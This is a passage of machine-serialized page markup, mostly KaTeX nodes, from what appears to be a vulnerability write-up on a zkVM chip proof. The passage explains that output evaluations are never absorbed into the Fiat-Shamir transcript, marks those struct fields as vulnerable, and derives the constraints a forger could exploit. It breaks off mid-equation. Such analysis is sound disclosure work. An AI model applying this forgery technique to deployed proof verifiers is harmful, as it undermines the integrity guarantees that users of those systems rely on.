"props":120219,"children":120221},{"className":120220,"style":115548},[5669,22832,5719],[120222],{"type":29,"value":2053},{"type":24,"tag":158,"props":120224,"children":120226},{"className":120225},[22989],[120227],{"type":29,"value":22992},{"type":24,"tag":158,"props":120229,"children":120231},{"className":120230},[5696],[120232],{"type":24,"tag":158,"props":120233,"children":120236},{"className":120234,"style":120235},[5701],"height:0.2861em;",[120237],{"type":24,"tag":158,"props":120238,"children":120239},{},[],{"type":24,"tag":158,"props":120241,"children":120243},{"className":120242,"style":5751},[5750],[],{"type":24,"tag":158,"props":120245,"children":120247},{"className":120246},[5756],[120248],{"type":29,"value":112587},{"type":24,"tag":158,"props":120250,"children":120252},{"className":120251,"style":5751},[5750],[],{"type":24,"tag":158,"props":120254,"children":120256},{"className":120255},[5658],[120257,120261,120266,120276],{"type":24,"tag":158,"props":120258,"children":120260},{"className":120259,"style":5771},[5663],[],{"type":24,"tag":158,"props":120262,"children":120264},{"className":120263},[22961],[120265],{"type":29,"value":504},{"type":24,"tag":158,"props":120267,"children":120269},{"className":120268},[5669,29],[120270],{"type":24,"tag":158,"props":120271,"children":120273},{"className":120272},[5669],[120274],{"type":29,"value":120275},"state factors",{"type":24,"tag":158,"props":120277,"children":120279},{"className":120278},[22983],[120280],{"type":29,"value":521},{"type":24,"tag":25,"props":120282,"children":120283},{},[120284],{"type":24,"tag":897,"props":120285,"children":120286},{},[120287],{"type":29,"value":116741},{"type":24,"tag":147,"props":120289,"children":120291},{"code":120290},"ZKVMChipProof {\n r_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n w_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n lk_out_evals: [[FieldElement]], // \u003C- VULNERABLE\n tower_proof: [...],\n gkr_iop_proof: [...],\n}\n",[120292],{"type":24,"tag":154,"props":120293,"children":120294},{"__ignoreMap":7},[120295],{"type":29,"value":120290},{"type":24,"tag":25,"props":120297,"children":120298},{},[120299,120305,120306,120312,120313,120319],{"type":24,"tag":154,"props":120300,"children":120302},{"className":120301},[],[120303],{"type":29,"value":120304},"r_out_evals",{"type":29,"value":191},{"type":24,"tag":154,"props":120307,"children":120309},{"className":120308},[],[120310],{"type":29,"value":120311},"w_out_evals",{"type":29,"value":8136},{"type":24,"tag":154,"props":120314,"children":120316},{"className":120315},[],[120317],{"type":29,"value":120318},"lk_out_evals",{"type":29,"value":120320}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":24,"tag":1786,"props":120322,"children":120323},{},[120324],{"type":24,"tag":1790,"props":120325,"children":120326},{},[120327,120332,120334,120340],{"type":24,"tag":897,"props":120328,"children":120329},{},[120330],{"type":29,"value":120331},"GKR/Tower equation",{"type":29,"value":120333}," (linear in ",{"type":24,"tag":154,"props":120335,"children":120337},{"className":120336},[],[120338],{"type":29,"value":120339},"out_evals",{"type":29,"value":25202},{"type":24,"tag":25,"props":120342,"children":120343},{},[120344,120346],{"type":29,"value":120345},"The tower sumcheck claim is ",{"type":24,"tag":154,"props":120347,"children":120349},{"className":120348},[5642,5643],[120350],{"type":24,"tag":158,"props":120351,"children":120353},{"className":120352},[5648],[120354],{"type":24,"tag":158,"props":120355,"children":120357},{"className":120356,"ariaHidden":3185},[5653],[120358,120389,120514],{"type":24,"tag":158,"props":120359,"children":120361},{"className":120360},[5658],[120362,120366,120376,120380,120385],{"type":24,"tag":158,"props":120363,"children":120365},{"className":120364,"style":94240},[5663],[],{"type":24,"tag":158,"props":120367,"children":120369},{"className":120368},[5669,29],[120370],{"type":24,"tag":158,"props":120371,"children":120373},{"className":120372},[5669],[120374],{"type":29,"value":120375},"claim",{"type":24,"tag":158,"props":120377,"children":120379},{"className":120378,"style":5848},[5750],[],{"type":24,"tag":158,"props":120381,"children":120383},{"className":120382},[5853],[120384],{"type":29,"value":1285},{"type":24,"tag":158,"props":120386,"children":120388},{"className":120387,"style":5848},[5750],[],{"type":24,"tag":158,"props":120390,"children":120392},{"className":120391},[5658],[120393,120398,120455,120459,120501,120505,120510],{"type":24,"tag":158,"props":120394,"children":120397},{"className":120395,"style":120396},[5663],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":24,"tag":158,"props":120399,"children":120401},{"className":120400},[22868],[120402,120407],{"type":24,"tag":158,"props":120403,"children":120405},{"className":120404,"style":22875},[22868,22873,22874],[120406],{"type":29,"value":110120},{"type":24,"tag":158,"props":120408,"children":120410},{"className":120409},[5686],[120411],{"type":24,"tag":158,"props":120412,"children":120414},{"className":120413},[5691,22886],[120415,120444],{"type":24,"tag":158,"props":120416,"children":120418},{"className":120417},[5696],[120419,120439],{"type":24,"tag":158,"props":120420,"children":120422},{"className":120421,"style":115532},[5701],[120423],{"type":24,"tag":158,"props":120424,"children":120425},{"style":22899},[120426,120430],{"type":24,"tag":158,"props":120427,"children":120429},{"className":120428,"style":5711},[5710],[],{"type":24,"tag":158,"props":120431,"children":120433},{"className":120432},[5716,5717,5718,5719],[120434],{"type":24,"tag":158,"props":120435,"children":120437},{"className":120436,"style":115548},[5669,22832,5719],[120438],{"type":29,"value":2053},{"type":24,"tag":158,"props":120440,"children":120442},{"className":120441},[22989],[120443],{"type":29,"value":22992},{"type":24,"tag":158,"props":120445,"children":120447},{"className":120446},[5696],[120448],{"type":24,"tag":158,"props":120449,"children":120451},{"className":120450,"style":115563},[5701],[120452],{"type":24,"tag":158,"props":120453,"children":120454},{},[],{"type":24,"tag":158,"props":120456,"children":120458},{"className":120457,"style":5789},[5750],[],{"type":24,"tag":158,"props":120460,"children":120462},{"className":120461},[5669],[120463,120468],{"type":24,"tag":158,"props":120464,"children":120466},{"className":120465,"style":116413},[5669,22832],[120467],{"type":29,"value":116416},{"type":24,"tag":158,"props":120469,"children":120471},{"className":120470},[5686],[120472],{"type":24,"tag":158,"props":120473,"children":120475},{"className":120474},[5691],[120476],{"type":24,"tag":158,"props":120477,"children":120479},{"className":120478},[5696],[120480],{"type":24,"tag":158,"props":120481,"children":120484},{"className":120482,"style":120483},[5701],"height:0.8247em;",[120485],{"type":24,"tag":158,"props":120486,"children":120487},{"style":5705},[120488,120492],{"type":24,"tag":158,"props":120489,"children":120491},{"className":120490,"style":5711},[5710],[],{"type":24,"tag":158,"props":120493,"children":120495},{"className":120494},[5716,5717,5718,5719],[120496],{"type":24,"tag":158,"props":120497,"children":120499},{"className":120498,"style":115548},[5669,22832,5719],[120500],{"type":29,"value":2053},{"type":24,"tag":158,"props":120502,"children":120504},{"className":120503,"style":5751},[5750],[],{"type":24,"tag":158,"props":120506,"children":120508},{"className":120507},[5756],[120509],{"type":29,"value":112587},{"type":24,"tag":158,"props":120511,"children":120513},{"className":120512,"style":5751},[5750],[],{"type":24,"tag":158,"props":120515,"children":120517},{"className":120516},[5658],[120518,120522,120531,120536],{"type":24,"tag":158,"props":120519,"children":120521},{"className":120520,"style":95738},[5663],[],{"type":24,"tag":158,"props":120523,"children":120525},{"className":120524},[5669,29],[120526],{"type":24,"tag":158,"props":120527,"children":120529},{"className":120528},[5669],[120530],{"type":29,"value":119999},{"type":24,"tag":158,"props":120532,"children":120534},{"className":120533,"style":94325},[5669],[120535],{"type":29,"value":4750},{"type":24,"tag":158,"props":120537,"children":120539},{"className":120538},[5669],[120540,120549],{"type":24,"tag":158,"props":120541,"children":120543},{"className":120542},[5669,29],[120544],{"type":24,"tag":158,"props":120545,"children":120547},{"className":120546},[5669],[120548],{"type":29,"value":120018},{"type":24,"tag":158,"props":120550,"children":120552},{"className":120551},[5686],[120553],{"type":24,"tag":158,"props":120554,"children":120556},{"className":120555},[5691,22886],[120557,120586],{"type":24,"tag":158,"props":120558,"children":120560},{"className":120559},[5696],[120561,120581],{"type":24,"tag":158,"props":120562,"children":120564},{"className":120563,"style":94854},[5701],[120565],{"type":24,"tag":158,"props":120566,"children":120567},{"style":115455},[120568,120572],{"type":24,"tag":158,"props":120569,"children":120571},{"className":120570,"style":5711},[5710],[],{"type":24,"tag":158,"props":120573,"children":120575},{"className":120574},[5716,5717,5718,5719],[120576],{"type":24,"tag":158,"props":120577,"children":120579},{"className":120578,"style":115548},[5669,22832,5719],[120580],{"type":29,"value":2053},{"type":24,"tag":158,"props":120582,"children":120584},{"className":120583},[22989],[120585],{"type":29,"value":22992},{"type":24,"tag":158,"props":120587,"children":120589},{"className":120588},[5696],[120590],{"type":24,"tag":158,"props":120591,"children":120593},{"className":120592,"style":120235},[5701],[120594],{"type":24,"tag":158,"props":120595,"children":120596},{},[],{"type":24,"tag":25,"props":120598,"children":120599},{},[120600,120602,120607],{"type":29,"value":120601},"This check is linear in ",{"type":24,"tag":154,"props":120603,"children":120605},{"className":120604},[],[120606],{"type":29,"value":120339},{"type":29,"value":347},{"type":24,"tag":1786,"props":120609,"children":120610},{"start":213},[120611],{"type":24,"tag":1790,"props":120612,"children":120613},{},[120614,120619,120621,120626],{"type":24,"tag":897,"props":120615,"children":120616},{},[120617],{"type":29,"value":120618},"rw-product consistency",{"type":29,"value":120620}," (bilinear in ",{"type":24,"tag":154,"props":120622,"children":120624},{"className":120623},[],[120625],{"type":29,"value":120339},{"type":29,"value":25202},{"type":24,"tag":25,"props":120628,"children":120629},{},[120630],{"type":24,"tag":154,"props":120631,"children":120633},{"className":120632},[5642,5643],[120634],{"type":24,"tag":158,"props":120635,"children":120637},{"className":120636},[5648],[120638],{"type":24,"tag":158,"props":120639,"children":120641},{"className":120640,"ariaHidden":3185},[5653],[120642,120813,120984],{"type":24,"tag":158,"props":120643,"children":120645},{"className":120644},[5658],[120646,120650,120707,120711,120720,120725,120734,120739,120800,120804,120809],{"type":24,"tag":158,"props":120647,"children":120649},{"className":120648,"style":94267},[5663],[],{"type":24,"tag":158,"props":120651,"children":120653},{"className":120652},[22868],[120654,120659],{"type":24,"tag":158,"props":120655,"children":120657},{"className":120656,"style":22875},[22868,22873,22874],[120658],{"type":29,"value":119923},{"type":24,"tag":158,"props":120660,"children":120662},{"className":120661},[5686],[120663],{"type":24,"tag":158,"props":120664,"children":120666},{"className":120665},[5691,22886],[120667,120696],{"type":24,"tag":158,"props":120668,"children":120670},{"className":120669},[5696],[120671,120691],{"type":24,"tag":158,"props":120672,"children":120674},{"className":120673,"style":115532},[5701],[120675],{"type":24,"tag":158,"props":120676,"children":120677},{"style":22899},[120678,120682],{"type":24,"tag":158,"props":120679,"children":120681},{"className":120680,"style":5711},[5710],[],{"type":24,"tag":158,"props":120683,"children":120685},{"className":120684},[5716,5717,5718,5719],[120686],{"type":24,"tag":158,"props":120687,"children":120689},{"className":120688},[5669,22832,5719],[120690],{"type":29,"value":1832},{"type":24,"tag":158,"props":120692,"children":120694},{"className":120693},[22989],[120695],{"type":29,"value":22992},{"type":24,"tag":158,"props":120697,"children":120699},{"className":120698},[5696],[120700],{"type":24,"tag":158,"props":120701,"children":120703},{"className":120702,"style":115812},[5701],[120704],{"type":24,"tag":158,"props":120705,"children":120706},{},[],{"type":24,"tag":158,"props":120708,"children":120710},{"className":120709,"style":5789},[5750],[],{"type":24,"tag":158,"props":120712,"children":120714},{"className":120713},[5669,29],[120715],{"type":24,"tag":158,"props":120716,"children":120718},{"className":120717},[5669],[120719],{"type":29,"value":95144},{"type":24,"tag":158,"props":120721,"children":120723},{"className":120722,"style":94325},[5669],[120724],{"type":29,"value":4750},{"type":24,"tag":158,"props":120726,"children":120728},{"className":120727},[5669,29],[120729],{"type":24,"tag":158,"props":120730,"children":120732},{"className":120731},[5669],[120733],{"type":29,"value":119999},{"type":24,"tag":158,"props":120735,"children":120737},{"className":120736,"style":94325},[5669],[120738],{"type":29,"value":4750},{"type":24,"tag":158,"props":120740,"children":120742},{"className":120741},[5669],[120743,120752],{"type":24,"tag":158,"props":120744,"children":120746},{"className":120745},[5669,29],[120747],{"type":24,"tag":158,"props":120748,"children":120750},{"className":120749},[5669],[120751],{"type":29,"value":120018},{"type":24,"tag":158,"props":120753,"children":120755},{"className":120754},[5686],[120756],{"type":24,"tag":158,"props":120757,"children":120759},{"className":120758},[5691,22886],[120760,120789],{"type":24,"tag":158,"props":120761,"children":120763},{"className":120762},[5696],[120764,120784],{"type":24,"tag":158,"props":120765,"children":120767},{"className":120766,"style":94854},[5701],[120768],{"type":24,"tag":158,"props":120769,"children":120770},{"style":115455},[120771,120775],{"type":24,"tag":158,"props":120772,"children":120774},{"className":120773,"style":5711},[5710],[],{"type":24,"tag":158,"props":120776,"children":120778},{"className":120777},[5716,5717,5718,5719],[120779],{"type":24,"tag":158,"props":120780,"children":120782},{"className":120781},[5669,22832,5719],[120783],{"type":29,"value":1832},{"type":24,"tag":158,"props":120785,"children":120787},{"className":120786},[22989],[120788],{"type":29,"value":22992},{"type":24,"tag":158,"props":120790,"children":120792},{"className":120791},[5696],[120793],{"type":24,"tag":158,"props":120794,"children":120796},{"className":120795,"style":94408},[5701],[120797],{"type":24,"tag":158,"props":120798,"children":120799},{},[],{"type":24,"tag":158,"props":120801,"children":120803},{"className":120802,"style":5848},[5750],[],{"type":24,"tag":158,"props":120805,"children":120807},{"className":120806},[5853],[120808],{"type":29,"value":1285},{"type":24,"tag":158,"props":120810,"children":120812},{"className":120811,"style":5848},[5750],[],{"type":24,"tag":158,"props":120814,"children":120816},{"className":120815},[5658],[120817,120821,120878,120882,120891,120896,120905,120910,120971,120975,120980],{"type":24,"tag":158,"props":120818,"children":120820},{"className":120819,"style":120087},[5663],[],{"type":24,"tag":158,"props":120822,"children":120824},{"className":120823},[22868],[120825,120830],{"type":24,"tag":158,"props":120826,"children":120828},{"className":120827,"style":22875},[22868,22873,22874],[120829],{"type":29,"value":119923},{"type":24,"tag":158,"props":120831,"children":120833},{"className":120832},[5686],[120834],{"type":24,"tag":158,"props":120835,"children":120837},{"className":120836},[5691,22886],[120838,120867],{"type":24,"tag":158,"props":120839,"children":120841},{"className":120840},[5696],[120842,120862],{"type":24,"tag":158,"props":120843,"children":120845},{"className":120844,"style":115532},[5701],[120846],{"type":24,"tag":158,"props":120847,"children":120848},{"style":22899},[120849,120853],{"type":24,"tag":158,"props":120850,"children":120852},{"className":120851,"style":5711},[5710],[],{"type":24,"tag":158,"props":120854,"children":120856},{"className":120855},[5716,5717,5718,5719],[120857],{"type":24,"tag":158,"props":120858,"children":120860},{"className":120859,"style":115548},[5669,22832,5719],[120861],{"type":29,"value":2053},{"type":24,"tag":158,"props":120863,"children":120865},{"className":120864},[22989],[120866],{"type":29,"value":22992},{"type":24,"tag":158,"props":120868,"children":120870},{"className":120869},[5696],[120871],{"type":24,"tag":158,"props":120872,"children":120874},{"className":120873,"style":115563},[5701],[120875],{"type":24,"tag":158,"props":120876,"children":120877},{},[],{"type":24,"tag":158,"props":120879,"children":120881},{"className":120880,"style":5789},[5750],[],{"type":24,"tag":158,"props":120883,"children":120885},{"className":120884},[5669,29],[120886],{"type":24,"tag":158,"props":120887,"children":120889},{"className":120888},[5669],[120890],{"type":29,"value":50843},{"type":24,"tag":158,"props":120892,"children":120894},{"className":120893,"style":94325},[5669],[120895],{"type":29,"value":4750},{"type":24,"tag":158,"props":120897,"children":120899},{"className":120898},[5669,29],[120900],{"type":24,"tag":158,"props":120901,"children":120903},{"className":120902},[5669],[120904],{"type":29,"value":119999},{"type":24,"tag":158,"props":120906,"children":120908},{"className":120907,"style":94325},[5669],[120909],{"type":29,"value":4750},{"type":24,"tag":158,"props":120911,"children":120913},{"className":120912},[5669],[120914,120923],{"type":24,"tag":158,"props":120915,"children":120917},{"className":120916},[5669,29],[120918],{"type":24,"tag":158,"props":120919,"children":120921},{"className":120920},[5669],[120922],{"type":29,"value":120018},{"type":24,"tag":158,"props":120924,"children":120926},{"className":120925},[5686],[120927],{"type":24,"tag":158,"props":120928,"children":120930},{"className":120929},[5691,22886],[120931,120960],{"type":24,"tag":158,"props":120932,"children":120934},{"className":120933},[5696],[120935,120955],{"type":24,"tag":158,"props":120936,"children":120938},{"className":120937,"style":94854},[5701],[120939],{"type":24,"tag":158,"props":120940,"children":120941},{"style":115455},[120942,120946],{"type":24,"tag":158,"props":120943,"children":120945},{"className":120944,"style":5711},[5710],[],{"type":24,"tag":158,"props":120947,"children":120949},{"className":120948},[5716,5717,5718,5719],[120950],{"type":24,"tag":158,"props":120951,"children":120953},{"className":120952,"style":115548},[5669,22832,5719],[120954],{"type":29,"value":2053},{"type":24,"tag":158,"props":120956,"children":120958},{"className":120957},[22989],[120959],{"type":29,"value":22992},{"type":24,"tag":158,"props":120961,"children":120963},{"className":120962},[5696],[120964],{"type":24,"tag":158,"props":120965,"children":120967},{"className":120966,"style":120235},[5701],[120968],{"type":24,"tag":158,"props":120969,"children":120970},{},[],{"type":24,"tag":158,"props":120972,"children":120974},{"className":120973,"style":5751},[5750],[],{"type":24,"tag":158,"props":120976,"children":120978},{"className":120977},[5756],[120979],{"type":29,"value":112587},{"type":24,"tag":158,"props":120981,"children":120983},{"className":120982,"style":5751},[5750],[],{"type":24,"tag":158,"props":120985,"children":120987},{"className":120986},[5658],[120988,120992,120997,121006],{"type":24,"tag":158,"props":120989,"children":120991},{"className":120990,"style":5771},[5663],[],{"type":24,"tag":158,"props":120993,"children":120995},{"className":120994},[22961],[120996],{"type":29,"value":504},{"type":24,"tag":158,"props":120998,"children":121000},{"className":120999},[5669,29],[121001],{"type":24,"tag":158,"props":121002,"children":121004},{"className":121003},[5669],[121005],{"type":29,"value":120275},{"type":24,"tag":158,"props":121007,"children":121009},{"className":121008},[22983],[121010],{"type":29,"value":521},{"type":24,"tag":25,"props":121012,"children":121013},{},[121014,121016,121185,121186,121355],{"type":29,"value":121015},"If we vary ",{"type":24,"tag":154,"props":121017,"children":121019},{"className":121018},[5642,5643],[121020],{"type":24,"tag":158,"props":121021,"children":121023},{"className":121022},[5648],[121024],{"type":24,"tag":158,"props":121025,"children":121027},{"className":121026,"ariaHidden":3185},[5653],[121028,121106],{"type":24,"tag":158,"props":121029,"children":121031},{"className":121030},[5658],[121032,121036,121093,121097,121102],{"type":24,"tag":158,"props":121033,"children":121035},{"className":121034,"style":111295},[5663],[],{"type":24,"tag":158,"props":121037,"children":121039},{"className":121038},[5669],[121040,121045],{"type":24,"tag":158,"props":121041,"children":121043},{"className":121042},[5669,22832],[121044],{"type":29,"value":20518},{"type":24,"tag":158,"props":121046,"children":121048},{"className":121047},[5686],[121049],{"type":24,"tag":158,"props":121050,"children":121052},{"className":121051},[5691,22886],[121053,121082],{"type":24,"tag":158,"props":121054,"children":121056},{"className":121055},[5696],[121057,121077],{"type":24,"tag":158,"props":121058,"children":121060},{"className":121059,"style":94377},[5701],[121061],{"type":24,"tag":158,"props":121062,"children":121063},{"style":94381},[121064,121068],{"type":24,"tag":158,"props":121065,"children":121067},{"className":121066,"style":5711},[5710],[],{"type":24,"tag":158,"props":121069,"children":121071},{"className":121070},[5716,5717,5718,5719],[121072],{"type":24,"tag":158,"props":121073,"children":121075},{"className":121074},[5669,5719],[121076],{"type":29,"value":5682},{"type":24,"tag":158,"props":121078,"children":121080},{"className":121079},[22989],[121081],{"type":29,"value":22992},{"type":24,"tag":158,"props":121083,"children":121085},{"className":121084},[5696],[121086],{"type":24,"tag":158,"props":121087,"children":121089},{"className":121088,"style":94408},[5701],[121090],{"type":24,"tag":158,"props":121091,"children":121092},{},[],{"type":24,"tag":158,"props":121094,"children":121096},{"className":121095,"style":5848},[5750],[],{"type":24,"tag":158,"props":121098,"children":121100},{"className":121099},[5853],[121101],{"type":29,"value":1285},{"type":24,"tag":158,"props":121103,"children":121105},{"className":121104,"style":5848},[5750],[],{"type":24,"tag":158,"props":121107,"children":121109},{"className":121108},[5658],[121110,121114,121155,121160,121165,121170,121175,121180],{"type":24,"tag":158,"props":121111,"children":121113},{"className":121112,"style":94267},[5663],[],{"type":24,"tag":158,"props":121115,"children":121117},{"className":121116},[5669],[121118,121127,121132,121141,121146],{"type":24,"tag":158,"props":121119,"children":121121},{"className":121120},[5669,29],[121122],{"type":24,"tag":158,"props":121123,"children":121125},{"className":121124},[5669],[121126],{"type":29,"value":95144},{"type":24,"tag":158,"props":121128,"children":121130},{"className":121129,"style":94325},[5669],[121131],{"type":29,"value":4750},{"type":24,"tag":158,"props":121133,"children":121135},{"className":121134},[5669,29],[121136],{"type":24,"tag":158,"props":121137,"children":121139},{"className":121138},[5669],[121140],{"type":29,"value":119999},{"type":24,"tag":158,"props":121142,"children":121144},{"className":121143,"style":94325},[5669],[121145],{"type":29,"value":4750},{"type":24,"tag":158,"props":121147,"children":121149},{"className":121148},[5669,29],[121150],{"type":24,"tag":158,"props":121151,"children":121153},{"className":121152},[5669],[121154],{"type":29,"value":120018},{"type":24,"tag":158,"props":121156,"children":121158},{"className":121157},[22961],[121159],{"type":29,"value":2048},{"type":24,"tag":158,"props":121161,"children":121163},{"className":121162},[5669],[121164],{"type":29,"value":5682},{"type":24,"tag":158,"props":121166,"children":121168},{"className":121167},[22983],[121169],{"type":29,"value":16646},{"type":24,"tag":158,"props":121171,"children":121173},{"className":121172},[22961],[121174],{"type":29,"value":2048},{"type":24,"tag":158,"props":121176,"children":121178},{"className":121177},[5669],[121179],{"type":29,"value":5682},{"type":24,"tag":158,"props":121181,"children":121183},{"className":121182},[22983],[121184],{"type":29,"value":16646},{"type":29,"value":1826},{"type":24,"tag":154,"props":121187,"children":121189},{"className":121188},[5642,5643],[121190],{"type":24,"tag":158,"props":121191,"children":121193},{"className":121192},[5648],[121194],{"type":24,"tag":158,"props":121195,"children":121197},{"className":121196,"ariaHidden":3185},[5653],[121198,121276],{"type":24,"tag":158,"props":121199,"children":121201},{"className":121200},[5658],[121202,121206,121263,121267,121272],{"type":24,"tag":158,"props":121203,"children":121205},{"className":121204,"style":111295},[5663],[],{"type":24,"tag":158,"props":121207,"children":121209},{"className":121208},[5669],[121210,121215],{"type":24,"tag":158,"props":121211,"children":121213},{"className":121212},[5669,22832],[121214],{"type":29,"value":20518},{"type":24,"tag":158,"props":121216,"children":121218},{"className":121217},[5686],[121219],{"type":24,"tag":158,"props":121220,"children":121222},{"className":121221},[5691,22886],[121223,121252],{"type":24,"tag":158,"props":121224,"children":121226},{"className":121225},[5696],[121227,121247],{"type":24,"tag":158,"props":121228,"children":121230},{"className":121229,"style":94377},[5701],[121231],{"type":24,"tag":158,"props":121232,"children":121233},{"style":94381},[121234,121238],{"type":24,"tag":158,"props":121235,"children":121237},{"className":121236,"style":5711},[5710],[],{"type":24,"tag":158,"props":121239,"children":121241},{"className":121240},[5716,5717,5718,5719],[121242],{"type":24,"tag":158,"props":121243,"children":121245},{"className":121244},[5669,5719],[121246],{"type":29,"value":5672},{"type":24,"tag":158,"props":121248,"children":121250},{"className":121249},[22989],[121251],{"type":29,"value":22992},{"type":24,"tag":158,"props":121253,"children":121255},{"className":121254},[5696],[121256],{"type":24,"tag":158,"props":121257,"children":121259},{"className":121258,"style":94408},[5701],[121260],{"type":24,"tag":158,"props":121261,"children":121262},{},[],{"type":24,"tag":158,"props":121264,"children":121266},{"className":121265,"style":5848},[5750],[],{"type":24,"tag":158,"props":121268,"children":121270},{"className":121269},[5853],[121271],{"type":29,"value":1285},{"type":24,"tag":158,"props":121273,"children":121275},{"className":121274,"style":5848},[5750],[],{"type":24,"tag":158,"props":121277,"children":121279},{"className":121278},[5658],[121280,121284,121325,121330,121335,121340,121345,121350],{"type":24,"tag":158,"props":121281,"children":121283},{"className":121282,"style":94267},[5663],[],{"type":24,"tag":158,"props":121285,"children":121287},{"className":121286},[5669],[121288,121297,121302,121311,121316],{"type":24,"tag":158,"props":121289,"children":121291},{"className":121290},[5669,29],[121292],{"type":24,"tag":158,"props":121293,"children":121295},{"className":121294},[5669],[121296],{"type":29,"value":95144},{"type":24,"tag":158,"props":121298,"children":121300},{"className":121299,"style":94325},[5669],[121301],{"type":29,"value":4750},{"type":24,"tag":158,"props":121303,"children":121305},{"className":121304},[5669,29],[121306],{"type":24,"tag":158,"props":121307,"children":121309},{"className":121308},[5669],[121310],{"type":29,"value":119999},{"type":24,"tag":158,"props":121312,"children":121314},{"className":121313,"style":94325},[5669],[121315],{"type":29,"value":4750},{"type":24,"tag":158,"props":121317,"children":121319},{"className":121318},[5669,29],[121320],{"type":24,"tag":158,"props":121321,"children":121323},{"className":121322},[5669],[121324],{"type":29,"value":120018},{"type":24,"tag":158,"props":121326,"children":121328},{"className":121327},[22961],[121329],{"type":29,"value":2048},{"type":24,"tag":158,"props":121331,"children":121333},{"className":121332},[5669],[121334],{"type":29,"value":5682},{"type":24,"tag":158,"props":121336,"children":121338},{"className":121337},[22983],[121339],{"type":29,"value":16646},{"type":24,"tag":158,"props":121341,"children":121343},{"className":121342},[22961],[121344],{"type":29,"value":2048},{"type":24,"tag":158,"props":121346,"children":121348},{"className":121347},[5669],[121349],{"type":29,"value":5672},{"type":24,"tag":158,"props":121351,"children":121353},{"className":121352},[22983],[121354],{"type":29,"value":16646},{"type":29,"value":121356}," we get the following constraint:",{"type":24,"tag":25,"props":121358,"children":121359},{},[121360],{"type":24,"tag":154,"props":121361,"children":121363},{"className":121362},[5642,5643],[121364],{"type":24,"tag":158,"props":121365,"children":121367},{"className":121366},[5648],[121368],{"type":24,"tag":158,"props":121369,"children":121371},{"className":121370,"ariaHidden":3185},[5653],[121372,121451,121529,121570],{"type":24,"tag":158,"props":121373,"children":121375},{"className":121374},[5658],[121376,121381,121438,121442,121447],{"type":24,"tag":158,"props":121377,"children":121380},{"className":121378,"style":121379},[5663],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":158,"props":121382,"children":121384},{"className":121383},[5669],[121385,121390],{"type":24,"tag":158,"props":121386,"children":121388},{"className":121387},[5669,22832],[121389],{"type":29,"value":20518},{"type":24,"tag":158,"props":121391,"children":121393},{"className":121392},[5686],[121394],{"type":24,"tag":158,"props":121395,"children":121397},{"className":121396},[5691,22886],[121398,121427],{"type":24,"tag":158,"props":121399,"children":121401},{"className":121400},[5696],[121402,121422],{"type":24,"tag":158,"props":121403,"children":121405},{"className":121404,"style":94377},[5701],[121406],{"type":24,"tag":158,"props":121407,"children":121408},{"style":94381},[121409,121413],{"type":24,"tag":158,"props":121410,"children":121412},{"className":121411,"style":5711},[5710],[],{"type":24,"tag":158,"props":121414,"children":121416},{"className":121415},[5716,5717,5718,5719],[121417],{"type":24,"tag":158,"props":121418,"children":121420},{"className":121419},[5669,5719],[121421],{"type":29,"value":5682},{"type":24,"tag":158,"props":121423,"children":121425},{"className":121424},[22989],[121426],{"type":29,"value":22992},{"type":24,"tag":158,"props":121428,"children":121430},{"className":121429},[5696],[121431],{"type":24,"tag":158,"props":121432,"children":121434},{"className":121433,"style":94408},[5701],[121435],{"type":24,"tag":158,"props":121436,"children":121437},{},[],{"type":24,"tag":158,"props":121439,"children":121441},{"className":121440,"style":5751},[5750],[],{"type":24,"tag":158,"props":121443,"children":121445},{"className":121444},[5756],[121446],{"type":29,"value":112587},{"type":24,"tag":158,"props":121448,"children":121450},{"className":121449,"style":5751},[5750],[],{"type":24,"tag":158,"props":121452,"children":121454},{"className":121453},[5658],[121455,121459,121516,121520,121525],{"type":24,"tag":158,"props":121456,"children":121458},{"className":121457,"style":121379},[5663],[],{"type":24,"tag":158,"props":121460,"children":121462},{"className":121461},[5669],[121463,121468],{"type":24,"tag":158,"props":121464,"children":121466},{"className":121465},[5669,22832],[121467],{"type":29,"value":20518},{"type":24,"tag":158,"props":121469,"children":121471},{"className":121470},[5686],[121472],{"type":24,"tag":158,"props":121473,"children":121475},{"className":121474},[5691,22886],[121476,121505],{"type":24,"tag":158,"props":121477,"children":121479},{"className":121478},[5696],[121480,121500],{"type":24,"tag":158,"props":121481,"children":121483},{"className":121482,"style":94377},[5701],[121484],{"type":24,"tag":158,"props":121485,"children":121486},{"style":94381},[121487,121491],{"type":24,"tag":158,"props":121488,"children":121490},{"className":121489,"style":5711},[5710],[],{"type":24,"tag":158,"props":121492,"children":121494},{"className":121493},[5716,5717,5718,5719],[121495],{"type":24,"tag":158,"props":121496,"children":121498},{"className":121497},[5669,5719],[121499],{"type":29,"value":5672},{"type":24,"tag":158,"props":121501,"children":121503},{"className":121502},[22989],[121504],{"type":29,"value":22992},{"type":24,"tag":158,"props":121506,"children":121508},{"className":121507},[5696],[121509],{"type":24,"tag":158,"props":121510,"children":121512},{"className":121511,"style":94408},[5701],[121513],{"type":24,"tag":158,"props":121514,"children":121515},{},[],{"type":24,"tag":158,"props":121517,"children":121519},{"className":121518,"style":5751},[5750],[],{"type":24,"tag":158,"props":121521,"children":121523},{"className":121522},[5756],[121524],{"type":29,"value":112587},{"type":24,"tag":158,"props":121526,"children":121528},{"className":121527,"style":5751},[5750],[],{"type":24,"tag":158,"props":121530,"children":121532},{"className":121531},[5658],[121533,121537,121542,121552,121557,121561,121566],{"type":24,"tag":158,"props":121534,"children":121536},{"className":121535,"style":5771},[5663],[],{"type":24,"tag":158,"props":121538,"children":121540},{"className":121539},[22961],[121541],{"type":29,"value":504},{"type":24,"tag":158,"props":121543,"children":121545},{"className":121544},[5669,29],[121546],{"type":24,"tag":158,"props":121547,"children":121549},{"className":121548},[5669],[121550],{"type":29,"value":121551},"rest of 